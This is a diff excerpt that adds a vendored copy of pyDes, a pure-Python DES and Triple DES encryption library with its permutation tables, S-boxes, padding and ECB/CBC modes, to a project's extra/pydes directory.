self.writexml(writer, "", indent, newl, encoding)
|
||||
else:
|
||||
self.writexml(writer, "", indent, newl)
|
||||
return writer.getvalue()
|
||||
|
||||
_patch_minidom()
|
||||
19
extra/pydes/__init__.py
Normal file
19
extra/pydes/__init__.py
Normal file
@@ -0,0 +1,19 @@
|
||||
#!/usr/bin/env python
|
||||
#
|
||||
# Copyright 2009 Todd Whiteman
|
||||
#
|
||||
# This program is free software: you can redistribute it and/or modify it
|
||||
# under the terms of the GNU Lesser General Public License as published
|
||||
# by the Free Software Foundation, either version 3 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU Lesser General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU Lesser General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
#
|
||||
|
||||
pass
|
||||
852
extra/pydes/pyDes.py
Normal file
852
extra/pydes/pyDes.py
Normal file
@@ -0,0 +1,852 @@
|
||||
#############################################################################
|
||||
# Documentation #
|
||||
#############################################################################
|
||||
|
||||
# Author: Todd Whiteman
|
||||
# Date: 16th March, 2009
|
||||
# Verion: 2.0.0
|
||||
# License: Public Domain - free to do as you wish
|
||||
# Homepage: http://twhiteman.netfirms.com/des.html
|
||||
#
|
||||
# This is a pure python implementation of the DES encryption algorithm.
|
||||
# It's pure python to avoid portability issues, since most DES
|
||||
# implementations are programmed in C (for performance reasons).
|
||||
#
|
||||
# Triple DES class is also implemented, utilising the DES base. Triple DES
|
||||
# is either DES-EDE3 with a 24 byte key, or DES-EDE2 with a 16 byte key.
|
||||
#
|
||||
# See the README.txt that should come with this python module for the
|
||||
# implementation methods used.
|
||||
#
|
||||
# Thanks to:
|
||||
# * David Broadwell for ideas, comments and suggestions.
|
||||
# * Mario Wolff for pointing out and debugging some triple des CBC errors.
|
||||
# * Santiago Palladino for providing the PKCS5 padding technique.
|
||||
# * Shaya for correcting the PAD_PKCS5 triple des CBC errors.
|
||||
#
|
||||
"""A pure python implementation of the DES and TRIPLE DES encryption algorithms.
|
||||
|
||||
Class initialization
|
||||
--------------------
|
||||
pyDes.des(key, [mode], [IV], [pad], [padmode])
|
||||
pyDes.triple_des(key, [mode], [IV], [pad], [padmode])
|
||||
|
||||
key -> Bytes containing the encryption key. 8 bytes for DES, 16 or 24 bytes
|
||||
for Triple DES
|
||||
mode -> Optional argument for encryption type, can be either
|
||||
pyDes.ECB (Electronic Code Book) or pyDes.CBC (Cypher Block Chaining)
|
||||
IV -> Optional Initial Value bytes, must be supplied if using CBC mode.
|
||||
Length must be 8 bytes.
|
||||
pad -> Optional argument, set the pad character (PAD_NORMAL) to use during
|
||||
all encrypt/decrpt operations done with this instance.
|
||||
padmode -> Optional argument, set the padding mode (PAD_NORMAL or PAD_PKCS5)
|
||||
to use during all encrypt/decrpt operations done with this instance.
|
||||
|
||||
I recommend to use PAD_PKCS5 padding, as then you never need to worry about any
|
||||
padding issues, as the padding can be removed unambiguously upon decrypting
|
||||
data that was encrypted using PAD_PKCS5 padmode.
|
||||
|
||||
Common methods
|
||||
--------------
|
||||
encrypt(data, [pad], [padmode])
|
||||
decrypt(data, [pad], [padmode])
|
||||
|
||||
data -> Bytes to be encrypted/decrypted
|
||||
pad -> Optional argument. Only when using padmode of PAD_NORMAL. For
|
||||
encryption, adds this characters to the end of the data block when
|
||||
data is not a multiple of 8 bytes. For decryption, will remove the
|
||||
trailing characters that match this pad character from the last 8
|
||||
bytes of the unencrypted data block.
|
||||
padmode -> Optional argument, set the padding mode, must be one of PAD_NORMAL
|
||||
or PAD_PKCS5). Defaults to PAD_NORMAL.
|
||||
|
||||
|
||||
Example
|
||||
-------
|
||||
from pyDes import *
|
||||
|
||||
data = "Please encrypt my data"
|
||||
k = des("DESCRYPT", CBC, "\0\0\0\0\0\0\0\0", pad=None, padmode=PAD_PKCS5)
|
||||
# For Python3, you'll need to use bytes, i.e.:
|
||||
# data = b"Please encrypt my data"
|
||||
# k = des(b"DESCRYPT", CBC, b"\0\0\0\0\0\0\0\0", pad=None, padmode=PAD_PKCS5)
|
||||
d = k.encrypt(data)
|
||||
print "Encrypted: %r" % d
|
||||
print "Decrypted: %r" % k.decrypt(d)
|
||||
assert k.decrypt(d, padmode=PAD_PKCS5) == data
|
||||
|
||||
|
||||
See the module source (pyDes.py) for more examples of use.
|
||||
You can also run the pyDes.py file without and arguments to see a simple test.
|
||||
|
||||
Note: This code was not written for high-end systems needing a fast
|
||||
implementation, but rather a handy portable solution with small usage.
|
||||
|
||||
"""
|
||||
|
||||
import sys
|
||||
|
||||
# _pythonMajorVersion is used to handle Python2 and Python3 differences.
|
||||
_pythonMajorVersion = sys.version_info[0]
|
||||
|
||||
# Modes of crypting / cyphering
|
||||
ECB = 0
|
||||
CBC = 1
|
||||
|
||||
# Modes of padding
|
||||
PAD_NORMAL = 1
|
||||
PAD_PKCS5 = 2
|
||||
|
||||
# PAD_PKCS5: is a method that will unambiguously remove all padding
|
||||
# characters after decryption, when originally encrypted with
|
||||
# this padding mode.
|
||||
# For a good description of the PKCS5 padding technique, see:
|
||||
# http://www.faqs.org/rfcs/rfc1423.html
|
||||
|
||||
# The base class shared by des and triple des.
|
||||
class _baseDes(object):
|
||||
def __init__(self, mode=ECB, IV=None, pad=None, padmode=PAD_NORMAL):
|
||||
if IV:
|
||||
IV = self._guardAgainstUnicode(IV)
|
||||
if pad:
|
||||
pad = self._guardAgainstUnicode(pad)
|
||||
self.block_size = 8
|
||||
# Sanity checking of arguments.
|
||||
if pad and padmode == PAD_PKCS5:
|
||||
raise ValueError("Cannot use a pad character with PAD_PKCS5")
|
||||
if IV and len(IV) != self.block_size:
|
||||
raise ValueError("Invalid Initial Value (IV), must be a multiple of " + str(self.block_size) + " bytes")
|
||||
|
||||
# Set the passed in variables
|
||||
self._mode = mode
|
||||
self._iv = IV
|
||||
self._padding = pad
|
||||
self._padmode = padmode
|
||||
|
||||
def getKey(self):
|
||||
"""getKey() -> bytes"""
|
||||
return self.__key
|
||||
|
||||
def setKey(self, key):
|
||||
"""Will set the crypting key for this object."""
|
||||
key = self._guardAgainstUnicode(key)
|
||||
self.__key = key
|
||||
|
||||
def getMode(self):
|
||||
"""getMode() -> pyDes.ECB or pyDes.CBC"""
|
||||
return self._mode
|
||||
|
||||
def setMode(self, mode):
|
||||
"""Sets the type of crypting mode, pyDes.ECB or pyDes.CBC"""
|
||||
self._mode = mode
|
||||
|
||||
def getPadding(self):
|
||||
"""getPadding() -> bytes of length 1. Padding character."""
|
||||
return self._padding
|
||||
|
||||
def setPadding(self, pad):
|
||||
"""setPadding() -> bytes of length 1. Padding character."""
|
||||
if pad is not None:
|
||||
pad = self._guardAgainstUnicode(pad)
|
||||
self._padding = pad
|
||||
|
||||
def getPadMode(self):
|
||||
"""getPadMode() -> pyDes.PAD_NORMAL or pyDes.PAD_PKCS5"""
|
||||
return self._padmode
|
||||
|
||||
def setPadMode(self, mode):
|
||||
"""Sets the type of padding mode, pyDes.PAD_NORMAL or pyDes.PAD_PKCS5"""
|
||||
self._padmode = mode
|
||||
|
||||
def getIV(self):
|
||||
"""getIV() -> bytes"""
|
||||
return self._iv
|
||||
|
||||
def setIV(self, IV):
|
||||
"""Will set the Initial Value, used in conjunction with CBC mode"""
|
||||
if not IV or len(IV) != self.block_size:
|
||||
raise ValueError("Invalid Initial Value (IV), must be a multiple of " + str(self.block_size) + " bytes")
|
||||
IV = self._guardAgainstUnicode(IV)
|
||||
self._iv = IV
|
||||
|
||||
def _padData(self, data, pad, padmode):
|
||||
# Pad data depending on the mode
|
||||
if padmode is None:
|
||||
# Get the default padding mode.
|
||||
padmode = self.getPadMode()
|
||||
if pad and padmode == PAD_PKCS5:
|
||||
raise ValueError("Cannot use a pad character with PAD_PKCS5")
|
||||
|
||||
if padmode == PAD_NORMAL:
|
||||
if len(data) % self.block_size == 0:
|
||||
# No padding required.
|
||||
return data
|
||||
|
||||
if not pad:
|
||||
# Get the default padding.
|
||||
pad = self.getPadding()
|
||||
if not pad:
|
||||
raise ValueError("Data must be a multiple of " + str(self.block_size) + " bytes in length. Use padmode=PAD_PKCS5 or set the pad character.")
|
||||
data += (self.block_size - (len(data) % self.block_size)) * pad
|
||||
|
||||
elif padmode == PAD_PKCS5:
|
||||
pad_len = 8 - (len(data) % self.block_size)
|
||||
if _pythonMajorVersion < 3:
|
||||
data += pad_len * chr(pad_len)
|
||||
else:
|
||||
data += bytes([pad_len] * pad_len)
|
||||
|
||||
return data
|
||||
|
||||
def _unpadData(self, data, pad, padmode):
|
||||
# Unpad data depending on the mode.
|
||||
if not data:
|
||||
return data
|
||||
if pad and padmode == PAD_PKCS5:
|
||||
raise ValueError("Cannot use a pad character with PAD_PKCS5")
|
||||
if padmode is None:
|
||||
# Get the default padding mode.
|
||||
padmode = self.getPadMode()
|
||||
|
||||
if padmode == PAD_NORMAL:
|
||||
if not pad:
|
||||
# Get the default padding.
|
||||
pad = self.getPadding()
|
||||
if pad:
|
||||
data = data[:-self.block_size] + \
|
||||
data[-self.block_size:].rstrip(pad)
|
||||
|
||||
elif padmode == PAD_PKCS5:
|
||||
if _pythonMajorVersion < 3:
|
||||
pad_len = ord(data[-1])
|
||||
else:
|
||||
pad_len = data[-1]
|
||||
data = data[:-pad_len]
|
||||
|
||||
return data
|
||||
|
||||
def _guardAgainstUnicode(self, data):
|
||||
# Only accept byte strings or ascii unicode values, otherwise
|
||||
# there is no way to correctly decode the data into bytes.
|
||||
if _pythonMajorVersion < 3:
|
||||
if isinstance(data, unicode):
|
||||
data = data.encode('utf8')
|
||||
else:
|
||||
if isinstance(data, str):
|
||||
# Only accept ascii unicode values.
|
||||
try:
|
||||
return data.encode('ascii')
|
||||
except UnicodeEncodeError:
|
||||
pass
|
||||
raise ValueError("pyDes can only work with encoded strings, not Unicode.")
|
||||
return data
|
||||
|
||||
#############################################################################
|
||||
# DES #
|
||||
#############################################################################
|
||||
class des(_baseDes):
|
||||
"""DES encryption/decrytpion class
|
||||
|
||||
Supports ECB (Electronic Code Book) and CBC (Cypher Block Chaining) modes.
|
||||
|
||||
pyDes.des(key,[mode], [IV])
|
||||
|
||||
key -> Bytes containing the encryption key, must be exactly 8 bytes
|
||||
mode -> Optional argument for encryption type, can be either pyDes.ECB
|
||||
(Electronic Code Book), pyDes.CBC (Cypher Block Chaining)
|
||||
IV -> Optional Initial Value bytes, must be supplied if using CBC mode.
|
||||
Must be 8 bytes in length.
|
||||
pad -> Optional argument, set the pad character (PAD_NORMAL) to use
|
||||
during all encrypt/decrpt operations done with this instance.
|
||||
padmode -> Optional argument, set the padding mode (PAD_NORMAL or
|
||||
PAD_PKCS5) to use during all encrypt/decrpt operations done
|
||||
with this instance.
|
||||
"""
|
||||
|
||||
|
||||
# Permutation and translation tables for DES
|
||||
__pc1 = [56, 48, 40, 32, 24, 16, 8,
|
||||
0, 57, 49, 41, 33, 25, 17,
|
||||
9, 1, 58, 50, 42, 34, 26,
|
||||
18, 10, 2, 59, 51, 43, 35,
|
||||
62, 54, 46, 38, 30, 22, 14,
|
||||
6, 61, 53, 45, 37, 29, 21,
|
||||
13, 5, 60, 52, 44, 36, 28,
|
||||
20, 12, 4, 27, 19, 11, 3
|
||||
]
|
||||
|
||||
# number left rotations of pc1
|
||||
__left_rotations = [
|
||||
1, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1
|
||||
]
|
||||
|
||||
# permuted choice key (table 2)
|
||||
__pc2 = [
|
||||
13, 16, 10, 23, 0, 4,
|
||||
2, 27, 14, 5, 20, 9,
|
||||
22, 18, 11, 3, 25, 7,
|
||||
15, 6, 26, 19, 12, 1,
|
||||
40, 51, 30, 36, 46, 54,
|
||||
29, 39, 50, 44, 32, 47,
|
||||
43, 48, 38, 55, 33, 52,
|
||||
45, 41, 49, 35, 28, 31
|
||||
]
|
||||
|
||||
# initial permutation IP
|
||||
__ip = [57, 49, 41, 33, 25, 17, 9, 1,
|
||||
59, 51, 43, 35, 27, 19, 11, 3,
|
||||
61, 53, 45, 37, 29, 21, 13, 5,
|
||||
63, 55, 47, 39, 31, 23, 15, 7,
|
||||
56, 48, 40, 32, 24, 16, 8, 0,
|
||||
58, 50, 42, 34, 26, 18, 10, 2,
|
||||
60, 52, 44, 36, 28, 20, 12, 4,
|
||||
62, 54, 46, 38, 30, 22, 14, 6
|
||||
]
|
||||
|
||||
# Expansion table for turning 32 bit blocks into 48 bits
|
||||
__expansion_table = [
|
||||
31, 0, 1, 2, 3, 4,
|
||||
3, 4, 5, 6, 7, 8,
|
||||
7, 8, 9, 10, 11, 12,
|
||||
11, 12, 13, 14, 15, 16,
|
||||
15, 16, 17, 18, 19, 20,
|
||||
19, 20, 21, 22, 23, 24,
|
||||
23, 24, 25, 26, 27, 28,
|
||||
27, 28, 29, 30, 31, 0
|
||||
]
|
||||
|
||||
# The (in)famous S-boxes
|
||||
__sbox = [
|
||||
# S1
|
||||
[14, 4, 13, 1, 2, 15, 11, 8, 3, 10, 6, 12, 5, 9, 0, 7,
|
||||
0, 15, 7, 4, 14, 2, 13, 1, 10, 6, 12, 11, 9, 5, 3, 8,
|
||||
4, 1, 14, 8, 13, 6, 2, 11, 15, 12, 9, 7, 3, 10, 5, 0,
|
||||
15, 12, 8, 2, 4, 9, 1, 7, 5, 11, 3, 14, 10, 0, 6, 13],
|
||||
|
||||
# S2
|
||||
[15, 1, 8, 14, 6, 11, 3, 4, 9, 7, 2, 13, 12, 0, 5, 10,
|
||||
3, 13, 4, 7, 15, 2, 8, 14, 12, 0, 1, 10, 6, 9, 11, 5,
|
||||
0, 14, 7, 11, 10, 4, 13, 1, 5, 8, 12, 6, 9, 3, 2, 15,
|
||||
13, 8, 10, 1, 3, 15, 4, 2, 11, 6, 7, 12, 0, 5, 14, 9],
|
||||
|
||||
# S3
|
||||
[10, 0, 9, 14, 6, 3, 15, 5, 1, 13, 12, 7, 11, 4, 2, 8,
|
||||
13, 7, 0, 9, 3, 4, 6, 10, 2, 8, 5, 14, 12, 11, 15, 1,
|
||||
13, 6, 4, 9, 8, 15, 3, 0, 11, 1, 2, 12, 5, 10, 14, 7,
|
||||
1, 10, 13, 0, 6, 9, 8, 7, 4, 15, 14, 3, 11, 5, 2, 12],
|
||||
|
||||
# S4
|
||||
[7, 13, 14, 3, 0, 6, 9, 10, 1, 2, 8, 5, 11, 12, 4, 15,
|
||||
13, 8, 11, 5, 6, 15, 0, 3, 4, 7, 2, 12, 1, 10, 14, 9,
|
||||
10, 6, 9, 0, 12, 11, 7, 13, 15, 1, 3, 14, 5, 2, 8, 4,
|
||||
3, 15, 0, 6, 10, 1, 13, 8, 9, 4, 5, 11, 12, 7, 2, 14],
|
||||
|
||||
# S5
|
||||
[2, 12, 4, 1, 7, 10, 11, 6, 8, 5, 3, 15, 13, 0, 14, 9,
|
||||
14, 11, 2, 12, 4, 7, 13, 1, 5, 0, 15, 10, 3, 9, 8, 6,
|
||||
4, 2, 1, 11, 10, 13, 7, 8, 15, 9, 12, 5, 6, 3, 0, 14,
|
||||
11, 8, 12, 7, 1, 14, 2, 13, 6, 15, 0, 9, 10, 4, 5, 3],
|
||||
|
||||
# S6
|
||||
[12, 1, 10, 15, 9, 2, 6, 8, 0, 13, 3, 4, 14, 7, 5, 11,
|
||||
10, 15, 4, 2, 7, 12, 9, 5, 6, 1, 13, 14, 0, 11, 3, 8,
|
||||
9, 14, 15, 5, 2, 8, 12, 3, 7, 0, 4, 10, 1, 13, 11, 6,
|
||||
4, 3, 2, 12, 9, 5, 15, 10, 11, 14, 1, 7, 6, 0, 8, 13],
|
||||
|
||||
# S7
|
||||
[4, 11, 2, 14, 15, 0, 8, 13, 3, 12, 9, 7, 5, 10, 6, 1,
|
||||
13, 0, 11, 7, 4, 9, 1, 10, 14, 3, 5, 12, 2, 15, 8, 6,
|
||||
1, 4, 11, 13, 12, 3, 7, 14, 10, 15, 6, 8, 0, 5, 9, 2,
|
||||
6, 11, 13, 8, 1, 4, 10, 7, 9, 5, 0, 15, 14, 2, 3, 12],
|
||||
|
||||
# S8
|
||||
[13, 2, 8, 4, 6, 15, 11, 1, 10, 9, 3, 14, 5, 0, 12, 7,
|
||||
1, 15, 13, 8, 10, 3, 7, 4, 12, 5, 6, 11, 0, 14, 9, 2,
|
||||
7, 11, 4, 1, 9, 12, 14, 2, 0, 6, 10, 13, 15, 3, 5, 8,
|
||||
2, 1, 14, 7, 4, 10, 8, 13, 15, 12, 9, 0, 3, 5, 6, 11],
|
||||
]
|
||||
|
||||
|
||||
# 32-bit permutation function P used on the output of the S-boxes
|
||||
__p = [
|
||||
15, 6, 19, 20, 28, 11,
|
||||
27, 16, 0, 14, 22, 25,
|
||||
4, 17, 30, 9, 1, 7,
|
||||
23,13, 31, 26, 2, 8,
|
||||
18, 12, 29, 5, 21, 10,
|
||||
3, 24
|
||||
]
|
||||
|
||||
# final permutation IP^-1
|
||||
__fp = [
|
||||
39, 7, 47, 15, 55, 23, 63, 31,
|
||||
38, 6, 46, 14, 54, 22, 62, 30,
|
||||
37, 5, 45, 13, 53, 21, 61, 29,
|
||||
36, 4, 44, 12, 52, 20, 60, 28,
|
||||
35, 3, 43, 11, 51, 19, 59, 27,
|
||||
34, 2, 42, 10, 50, 18, 58, 26,
|
||||
33, 1, 41, 9, 49, 17, 57, 25,
|
||||
32, 0, 40, 8, 48, 16, 56, 24
|
||||
]
|
||||
|
||||
# Type of crypting being done
|
||||
ENCRYPT = 0x00
|
||||
DECRYPT = 0x01
|
||||
|
||||
# Initialisation
|
||||
def __init__(self, key, mode=ECB, IV=None, pad=None, padmode=PAD_NORMAL):
|
||||
# Sanity checking of arguments.
|
||||
if len(key) != 8:
|
||||
raise ValueError("Invalid DES key size. Key must be exactly 8 bytes long.")
|
||||
_baseDes.__init__(self, mode, IV, pad, padmode)
|
||||
self.key_size = 8
|
||||
|
||||
self.L = []
|
||||
self.R = []
|
||||
self.Kn = [ [0] * 48 ] * 16 # 16 48-bit keys (K1 - K16)
|
||||
self.final = []
|
||||
|
||||
self.setKey(key)
|
||||
|
||||
def setKey(self, key):
|
||||
"""Will set the crypting key for this object. Must be 8 bytes."""
|
||||
_baseDes.setKey(self, key)
|
||||
self.__create_sub_keys()
|
||||
|
||||
def __String_to_BitList(self, data):
|
||||
"""Turn the string data, into a list of bits (1, 0)'s"""
|
||||
if _pythonMajorVersion < 3:
|
||||
# Turn the strings into integers. Python 3 uses a bytes
|
||||
# class, which already has this behaviour.
|
||||
data = [ord(c) for c in data]
|
||||
l = len(data) * 8
|
||||
result = [0] * l
|
||||
pos = 0
|
||||
for ch in data:
|
||||
i = 7
|
||||
while i >= 0:
|
||||
if ch & (1 << i) != 0:
|
||||
result[pos] = 1
|
||||
else:
|
||||
result[pos] = 0
|
||||
pos += 1
|
||||
i -= 1
|
||||
|
||||
return result
|
||||
|
||||
def __BitList_to_String(self, data):
|
||||
"""Turn the list of bits -> data, into a string"""
|
||||
result = []
|
||||
pos = 0
|
||||
c = 0
|
||||
while pos < len(data):
|
||||
c += data[pos] << (7 - (pos % 8))
|
||||
if (pos % 8) == 7:
|
||||
result.append(c)
|
||||
c = 0
|
||||
pos += 1
|
||||
|
||||
if _pythonMajorVersion < 3:
|
||||
return ''.join([ chr(c) for c in result ])
|
||||
else:
|
||||
return bytes(result)
|
||||
|
||||
def __permutate(self, table, block):
|
||||
"""Permutate this block with the specified table"""
|
||||
return list(map(lambda x: block[x], table))
|
||||
|
||||
# Transform the secret key, so that it is ready for data processing
|
||||
# Create the 16 subkeys, K[1] - K[16]
|
||||
def __create_sub_keys(self):
|
||||
"""Create the 16 subkeys K[1] to K[16] from the given key"""
|
||||
key = self.__permutate(des.__pc1, self.__String_to_BitList(self.getKey()))
|
||||
i = 0
|
||||
# Split into Left and Right sections
|
||||
self.L = key[:28]
|
||||
self.R = key[28:]
|
||||
while i < 16:
|
||||
j = 0
|
||||
# Perform circular left shifts
|
||||
while j < des.__left_rotations[i]:
|
||||
self.L.append(self.L[0])
|
||||
del self.L[0]
|
||||
|
||||
self.R.append(self.R[0])
|
||||
del self.R[0]
|
||||
|
||||
j += 1
|
||||
|
||||
# Create one of the 16 subkeys through pc2 permutation
|
||||
self.Kn[i] = self.__permutate(des.__pc2, self.L + self.R)
|
||||
|
||||
i += 1
|
||||
|
||||
# Main part of the encryption algorithm, the number cruncher :)
|
||||
def __des_crypt(self, block, crypt_type):
|
||||
"""Crypt the block of data through DES bit-manipulation"""
|
||||
block = self.__permutate(des.__ip, block)
|
||||
self.L = block[:32]
|
||||
self.R = block[32:]
|
||||
|
||||
# Encryption starts from Kn[1] through to Kn[16]
|
||||
if crypt_type == des.ENCRYPT:
|
||||
iteration = 0
|
||||
iteration_adjustment = 1
|
||||
# Decryption starts from Kn[16] down to Kn[1]
|
||||
else:
|
||||
iteration = 15
|
||||
iteration_adjustment = -1
|
||||
|
||||
i = 0
|
||||
while i < 16:
|
||||
# Make a copy of R[i-1], this will later become L[i]
|
||||
tempR = self.R[:]
|
||||
|
||||
# Permutate R[i - 1] to start creating R[i]
|
||||
self.R = self.__permutate(des.__expansion_table, self.R)
|
||||
|
||||
# Exclusive or R[i - 1] with K[i], create B[1] to B[8] whilst here
|
||||
self.R = list(map(lambda x, y: x ^ y, self.R, self.Kn[iteration]))
|
||||
B = [self.R[:6], self.R[6:12], self.R[12:18], self.R[18:24], self.R[24:30], self.R[30:36], self.R[36:42], self.R[42:]]
|
||||
# Optimization: Replaced below commented code with above
|
||||
#j = 0
|
||||
#B = []
|
||||
#while j < len(self.R):
|
||||
# self.R[j] = self.R[j] ^ self.Kn[iteration][j]
|
||||
# j += 1
|
||||
# if j % 6 == 0:
|
||||
# B.append(self.R[j-6:j])
|
||||
|
||||
# Permutate B[1] to B[8] using the S-Boxes
|
||||
j = 0
|
||||
Bn = [0] * 32
|
||||
pos = 0
|
||||
while j < 8:
|
||||
# Work out the offsets
|
||||
m = (B[j][0] << 1) + B[j][5]
|
||||
n = (B[j][1] << 3) + (B[j][2] << 2) + (B[j][3] << 1) + B[j][4]
|
||||
|
||||
# Find the permutation value
|
||||
v = des.__sbox[j][(m << 4) + n]
|
||||
|
||||
# Turn value into bits, add it to result: Bn
|
||||
Bn[pos] = (v & 8) >> 3
|
||||
Bn[pos + 1] = (v & 4) >> 2
|
||||
Bn[pos + 2] = (v & 2) >> 1
|
||||
Bn[pos + 3] = v & 1
|
||||
|
||||
pos += 4
|
||||
j += 1
|
||||
|
||||
# Permutate the concatination of B[1] to B[8] (Bn)
|
||||
self.R = self.__permutate(des.__p, Bn)
|
||||
|
||||
# Xor with L[i - 1]
|
||||
self.R = list(map(lambda x, y: x ^ y, self.R, self.L))
|
||||
# Optimization: This now replaces the below commented code
|
||||
#j = 0
|
||||
#while j < len(self.R):
|
||||
# self.R[j] = self.R[j] ^ self.L[j]
|
||||
# j += 1
|
||||
|
||||
# L[i] becomes R[i - 1]
|
||||
self.L = tempR
|
||||
|
||||
i += 1
|
||||
iteration += iteration_adjustment
|
||||
|
||||
# Final permutation of R[16]L[16]
|
||||
self.final = self.__permutate(des.__fp, self.R + self.L)
|
||||
return self.final
|
||||
|
||||
|
||||
# Data to be encrypted/decrypted
|
||||
def crypt(self, data, crypt_type):
|
||||
"""Crypt the data in blocks, running it through des_crypt()"""
|
||||
|
||||
# Error check the data
|
||||
if not data:
|
||||
return ''
|
||||
if len(data) % self.block_size != 0:
|
||||
if crypt_type == des.DECRYPT: # Decryption must work on 8 byte blocks
|
||||
raise ValueError("Invalid data length, data must be a multiple of " + str(self.block_size) + " bytes\n.")
|
||||
if not self.getPadding():
|
||||
raise ValueError("Invalid data length, data must be a multiple of " + str(self.block_size) + " bytes\n. Try setting the optional padding character")
|
||||
else:
|
||||
data += (self.block_size - (len(data) % self.block_size)) * self.getPadding()
|
||||
# print "Len of data: %f" % (len(data) / self.block_size)
|
||||
|
||||
if self.getMode() == CBC:
|
||||
if self.getIV():
|
||||
iv = self.__String_to_BitList(self.getIV())
|
||||
else:
|
||||
raise ValueError("For CBC mode, you must supply the Initial Value (IV) for ciphering")
|
||||
|
||||
# Split the data into blocks, crypting each one seperately
|
||||
i = 0
|
||||
dict = {}
|
||||
result = []
|
||||
#cached = 0
|
||||
#lines = 0
|
||||
while i < len(data):
|
||||
# Test code for caching encryption results
|
||||
#lines += 1
|
||||
#if dict.has_key(data[i:i+8]):
|
||||
#print "Cached result for: %s" % data[i:i+8]
|
||||
# cached += 1
|
||||
# result.append(dict[data[i:i+8]])
|
||||
# i += 8
|
||||
# continue
|
||||
|
||||
block = self.__String_to_BitList(data[i:i+8])
|
||||
|
||||
# Xor with IV if using CBC mode
|
||||
if self.getMode() == CBC:
|
||||
if crypt_type == des.ENCRYPT:
|
||||
block = list(map(lambda x, y: x ^ y, block, iv))
|
||||
#j = 0
|
||||
#while j < len(block):
|
||||
# block[j] = block[j] ^ iv[j]
|
||||
# j += 1
|
||||
|
||||
processed_block = self.__des_crypt(block, crypt_type)
|
||||
|
||||
if crypt_type == des.DECRYPT:
|
||||
processed_block = list(map(lambda x, y: x ^ y, processed_block, iv))
|
||||
#j = 0
|
||||
#while j < len(processed_block):
|
||||
# processed_block[j] = processed_block[j] ^ iv[j]
|
||||
# j += 1
|
||||
iv = block
|
||||
else:
|
||||
iv = processed_block
|
||||
else:
|
||||
processed_block = self.__des_crypt(block, crypt_type)
|
||||
|
||||
|
||||
# Add the resulting crypted block to our list
|
||||
#d = self.__BitList_to_String(processed_block)
|
||||
#result.append(d)
|
||||
result.append(self.__BitList_to_String(processed_block))
|
||||
#dict[data[i:i+8]] = d
|
||||
i += 8
|
||||
|
||||
# print "Lines: %d, cached: %d" % (lines, cached)
|
||||
|
||||
# Return the full crypted string
|
||||
if _pythonMajorVersion < 3:
|
||||
return ''.join(result)
|
||||
else:
|
||||
return bytes.fromhex('').join(result)
|
||||
|
||||
def encrypt(self, data, pad=None, padmode=None):
|
||||
"""encrypt(data, [pad], [padmode]) -> bytes
|
||||
|
||||
data : Bytes to be encrypted
|
||||
pad : Optional argument for encryption padding. Must only be one byte
|
||||
padmode : Optional argument for overriding the padding mode.
|
||||
|
||||
The data must be a multiple of 8 bytes and will be encrypted
|
||||
with the already specified key. Data does not have to be a
|
||||
multiple of 8 bytes if the padding character is supplied, or
|
||||
the padmode is set to PAD_PKCS5, as bytes will then added to
|
||||
ensure the be padded data is a multiple of 8 bytes.
|
||||
"""
|
||||
data = self._guardAgainstUnicode(data)
|
||||
if pad is not None:
|
||||
pad = self._guardAgainstUnicode(pad)
|
||||
data = self._padData(data, pad, padmode)
|
||||
return self.crypt(data, des.ENCRYPT)
|
||||
|
||||
def decrypt(self, data, pad=None, padmode=None):
|
||||
"""decrypt(data, [pad], [padmode]) -> bytes
|
||||
|
||||
data : Bytes to be encrypted
|
||||
pad : Optional argument for decryption padding. Must only be one byte
|
||||
padmode : Optional argument for overriding the padding mode.
|
||||
|
||||
The data must be a multiple of 8 bytes and will be decrypted
|
||||
with the already specified key. In PAD_NORMAL mode, if the
|
||||
optional padding character is supplied, then the un-encrypted
|
||||
data will have the padding characters removed from the end of
|
||||
the bytes. This pad removal only occurs on the last 8 bytes of
|
||||
the data (last data block). In PAD_PKCS5 mode, the special
|
||||
padding end markers will be removed from the data after decrypting.
|
||||
"""
|
||||
data = self._guardAgainstUnicode(data)
|
||||
if pad is not None:
|
||||
pad = self._guardAgainstUnicode(pad)
|
||||
data = self.crypt(data, des.DECRYPT)
|
||||
return self._unpadData(data, pad, padmode)
|
||||
|
||||
|
||||
|
||||
#############################################################################
|
||||
# Triple DES #
|
||||
#############################################################################
|
||||
class triple_des(_baseDes):
|
||||
"""Triple DES encryption/decrytpion class
|
||||
|
||||
This algorithm uses the DES-EDE3 (when a 24 byte key is supplied) or
|
||||
the DES-EDE2 (when a 16 byte key is supplied) encryption methods.
|
||||
Supports ECB (Electronic Code Book) and CBC (Cypher Block Chaining) modes.
|
||||
|
||||
pyDes.des(key, [mode], [IV])
|
||||
|
||||
key -> Bytes containing the encryption key, must be either 16 or
|
||||
24 bytes long
|
||||
mode -> Optional argument for encryption type, can be either pyDes.ECB
|
||||
(Electronic Code Book), pyDes.CBC (Cypher Block Chaining)
|
||||
IV -> Optional Initial Value bytes, must be supplied if using CBC mode.
|
||||
Must be 8 bytes in length.
|
||||
pad -> Optional argument, set the pad character (PAD_NORMAL) to use
|
||||
during all encrypt/decrpt operations done with this instance.
|
||||
padmode -> Optional argument, set the padding mode (PAD_NORMAL or
|
||||
PAD_PKCS5) to use during all encrypt/decrpt operations done
|
||||
with this instance.
|
||||
"""
|
||||
def __init__(self, key, mode=ECB, IV=None, pad=None, padmode=PAD_NORMAL):
|
||||
_baseDes.__init__(self, mode, IV, pad, padmode)
|
||||
self.setKey(key)
|
||||
|
||||
def setKey(self, key):
|
||||
"""Will set the crypting key for this object. Either 16 or 24 bytes long."""
|
||||
self.key_size = 24 # Use DES-EDE3 mode
|
||||
if len(key) != self.key_size:
|
||||
if len(key) == 16: # Use DES-EDE2 mode
|
||||
self.key_size = 16
|
||||
else:
|
||||
raise ValueError("Invalid triple DES key size. Key must be either 16 or 24 bytes long")
|
||||
if self.getMode() == CBC:
|
||||
if not self.getIV():
|
||||
# Use the first 8 bytes of the key
|
||||
self._iv = key[:self.block_size]
|
||||
if len(self.getIV()) != self.block_size:
|
||||
raise ValueError("Invalid IV, must be 8 bytes in length")
|
||||
self.__key1 = des(key[:8], self._mode, self._iv,
|
||||
